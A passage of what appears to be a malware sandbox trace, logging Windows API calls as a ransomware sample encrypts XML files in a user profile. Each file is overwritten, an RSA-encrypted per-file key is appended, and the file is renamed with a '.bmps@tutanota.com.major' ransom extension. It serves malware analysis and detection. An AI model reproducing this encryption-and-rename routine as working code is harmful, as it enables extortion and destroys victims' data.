MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e9d21752-8fc9-4793-b42e-33105b078a51_withdraw.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0224.520] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0224.520] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml", dwFileAttributes=0x80) returned 1 [0224.521] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1854 [0224.521] GetFileSizeEx (in: hFile=0x1854, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=23610) returned 1 [0224.522] ReadFile (in: hFile=0x1854, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x5c3a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x5c3a, lpOverlapped=0x0) returned 1 [0224.523] SetFilePointer (in: hFile=0x1854, lDistanceToMove=-23610, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0224.523] WriteFile (in: hFile=0x1854, lpBuffer=0x3351010*, nNumberOfBytesToWrite=0x5c3a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5c3a, lpOverlapped=0x0) returned 1 [0224.523] SetFilePointer (in: hFile=0x1854, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5c3a [0224.523] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0224.523] WriteFile (in: hFile=0x1854, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0224.523] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0224.523] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0224.524] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0224.524] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="aupF3bhjTd0sPWYAIbOAD7tQmdRwdmI98xtA7x8f6OwTTuRJr1KVNmpg7lGFrpmX\nwAUox6QDGXMr7FrenllfrysplYUTvYsepxiGSA/AB5h8YzRCDVbRHEKmOtS12Pm0\nqfhjFrin5n2uyOQlAQoFNGClxAFgZTA/V4upwv9b3qCDOHa50G2GpNjf6lPOcHDo\nxknaSzMmy70bY/g68sx6cEGTAjS3xzt4DlHGu4vUe/4Lq5BrbUjId72/2OuuUvW6\nxD8PC9HVQ8EA8wkhOX5nW7AsRPF/VoD7WbXfg2PFNdV83HYHHwacj2Q+QmRYfnlT\nPc2mYie1CEFEky91WBCyuA==\n", pcchString=0x2e3f9a8) returned 1 [0224.524] WriteFile (in: hFile=0x1854, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0224.524] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0224.524] WriteFile (in: hFile=0x1854, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0224.524] CloseHandle (hObject=0x1854) returned 1 [0224.524] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e9d21752-8fc9-4793-b42e-33105b078a51_show.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0224.526] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0224.526] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml", dwFileAttributes=0x80) returned 1 [0224.526] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1854 [0224.526] GetFileSizeEx (in: hFile=0x1854, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16754) returned 1 [0224.526] ReadFile (in: hFile=0x1854, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x4172, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4172, lpOverlapped=0x0) returned 1 [0224.599] SetFilePointer (in: hFile=0x1854, lDistanceToMove=-16754, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0224.599] WriteFile (in: hFile=0x1854, lpBuffer=0x2f391a0*, nNumberOfBytesToWrite=0x4172, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f391a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4172, lpOverlapped=0x0) returned 1 [0224.600] SetFilePointer (in: hFile=0x1854, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4172 [0224.600] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0224.600] WriteFile (in: hFile=0x1854, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0224.600] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0224.600] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0224.600] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0224.600] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="l4/YNC5rf2JnOEXcHRvxYGMLY2nuDYfDO/KQosHxxD7NN3z0x0gPjI+dXVabpr4P\n97KBwpwMH7UmE+6SAqZiJIBX+b7MuMmg6+bsOaV9ePXCPHwxyy+BfPZSI6ETkPkW\nXlC0XeANRTdtqXyI0gtTu901k3aY79LbyQs/KjabJkgak2iK773vsaBQDZQ7q3sy\nbjNfAJGzztc6sCbIB1KCwz6WsK8glkB4udOrIBCjbkLemV7t9G8FJZ25poaRs5tA\noUCczFgpsoRNQn4oecJunYtrmJw4jcQqK8K7EMMInJP4KPJzaFiATh695pUAtLYC\nhH1KEA/+y2udc9SNQfYNqQ==\n", pcchString=0x2e3f9a8) returned 1 [0224.600] WriteFile (in: hFile=0x1854, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0224.601] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0224.601] WriteFile (in: hFile=0x1854, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0224.601] CloseHandle (hObject=0x1854) returned 1 [0224.601] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_withdraw.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0224.603] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0224.604] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml", dwFileAttributes=0x80) returned 1 [0224.604] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1854 [0224.605] GetFileSizeEx (in: hFile=0x1854, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16779) returned 1 [0224.605] ReadFile (in: hFile=0x1854, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x418b, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x418b, lpOverlapped=0x0) returned 1 [0224.686] SetFilePointer (in: hFile=0x1854, lDistanceToMove=-16779, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0224.686] WriteFile (in: hFile=0x1854, lpBuffer=0x2f391b8*, nNumberOfBytesToWrite=0x418b, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f391b8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x418b, lpOverlapped=0x0) returned 1 [0224.686] SetFilePointer (in: hFile=0x1854, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x418b [0224.686] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0224.686] WriteFile (in: hFile=0x1854, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0224.686] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0224.686] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0224.687] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0224.687] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="avKU+8akQYrAi24QbYx98XAJmFy4P9DS6YE88XqC6U4qzUyN8PWvlDfCKQQD8O7n\nsqr8ANDduLfrqLCpwIIBOUiTDjfB+Z+Mosu/3GC+e2OH20LBWnZovcnQLW6kdKRC\n6+NXIIlSXwrYD2BA9ZVCsZiVTMubOV2V6yvNuyEH5pvtVISvGY3zIDDU6OMgU4Hz\n99W9/tMeB8kNA7cIdEBTBf46CvwrffeBF8CqAZM2qInra4k+wwmF+q5d5qwQ7neo\nsGdPgJ7lIMnK6/YeK/d7dSrqDEpN+jffSy3wz7xDcL3QiwJ4z4ZwQzsfL8jTSVjy\njAsHdvkgX7bEaa7+eB2zVQ==\n", pcchString=0x2e3f9a8) returned 1 [0224.687] WriteFile (in: hFile=0x1854, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0224.687] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0224.687] WriteFile (in: hFile=0x1854, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0224.687] CloseHandle (hObject=0x1854) returned 1 [0224.687] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\e80c855c-d75c-47b1-9ae4-f07f8c6c613d_show.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0224.731] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0224.731] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml", dwFileAttributes=0x80) returned 1 [0224.731] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1854 [0224.731] GetFileSizeEx (in: hFile=0x1854, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16775) returned 1 [0224.732] ReadFile (in: hFile=0x1854, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x4187, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4187, lpOverlapped=0x0) returned 1 [0224.809] SetFilePointer (in: hFile=0x1854, lDistanceToMove=-16775, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0224.810] WriteFile (in: hFile=0x1854, lpBuffer=0x2f391b0*, nNumberOfBytesToWrite=0x4187, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f391b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4187, lpOverlapped=0x0) returned 1 [0224.810] SetFilePointer (in: hFile=0x1854, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4187 [0224.810] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0224.810] WriteFile (in: hFile=0x1854, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0224.810] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0224.810] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0224.810] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0224.810] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="uW/83W6K6cydm0UWm05g2goazG8gbTpYpBV4sqRxr7OublYKgrUVBLdXV4CH8wZO\nM948xnN6NfKTTBm0Er3A66MVAs3AatopVTI1Ke8NbK1Oz6NU3zmDDIWb4sGBbrK6\nuL10j12DFfzK1WJIqLJxfbw6FsXK92otTTKsq7AEs6u+4NqyQECdqKhGL4vlNUAu\nkmPPCDvuOVOQJv1OSPnLfHu2ppDc7vnkUmSqcDzsNKtMQcozqRmVbgR4MpfPOIRu\nxy8O+Ca51SqjGi5CKbJdwE2m2yTus5GKHGZvdAGt/BokeB7+lYMIDI+osyASmEpD\nJc5CCq5Nb1oE9ZYc6arCiQ==\n", pcchString=0x2e3f9a8) returned 1 [0224.810] WriteFile (in: hFile=0x1854, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0224.811] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0224.811] WriteFile (in: hFile=0x1854, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0224.811] CloseHandle (hObject=0x1854) returned 1 [0224.811] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\c0802597-6174-487a-b7de-20e8b1aa384e_withdraw.xml.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0224.818] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0224.818] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml", dwFileAttributes=0x80) returned 1 [0224.819] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Tips\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\tips\\c0802597-6174-487a-b7de-20e8b1aa384e_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1854 [0224.819] GetFileSizeEx (in: hFile=0x1854, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17453) returned 1 [0224.819] ReadFile (in: hFile=0x1854, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x442d, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x442d, lpOverlapped=0x0) returned 1 [0224.840] SetFilePointer (in: hFile=0x1854, lDistanceToMove=-17453, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0224.840] WriteFile (in: hFile=0x1854, lpBuffer=0x2f39458*, nNumberOfBytesToWrite=0x442d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39458*, lpNumberOfBytesWritten=0x2e3f9b4*=0x442d, lpOverlapped=0x0) returned 1 [0224.840] SetFilePointer (in: hFile=0x1854, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x442d [0224.841] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0224.841] WriteFile (in: hFile=0x1854, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0224.841] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0224.841] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0224.841] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0224.841] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="qKqUFRmufxejDBjWrqmvB5UA5lgWOM4Y7PE5JPLi/Nc9GYuLrpTKcUIwMqFSkyXb\ntYhCsyhGmDa2sYq0fskzuslDPhVi939WNHt74C0nN6C/WdtuNq20WA94vnvQQeOG\ns77jBPoTaflW1wDIwgNC4qtHiQ6A3FK4zBVbfcfWQjgmBb6OaHmjhKY4SoG4g/k8\n4d1sboKOulMJ+EKNYf9TjnVAxSlAQweGVbDvZfAgsDmWD8Te3on7Z2Wx1TDI2BMV\n5A63JRKjREL2KjpD5fa0kE591DM0RhOAj1lEuuoxe5j24fQG8BiIm5xospEeenha\nhJw/BJcldZ24lPnZKClFdA==\n", pcchString=0x2e3f9a8) returned 1 [0224.841] WriteFile (in: hFile=0x1854, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, 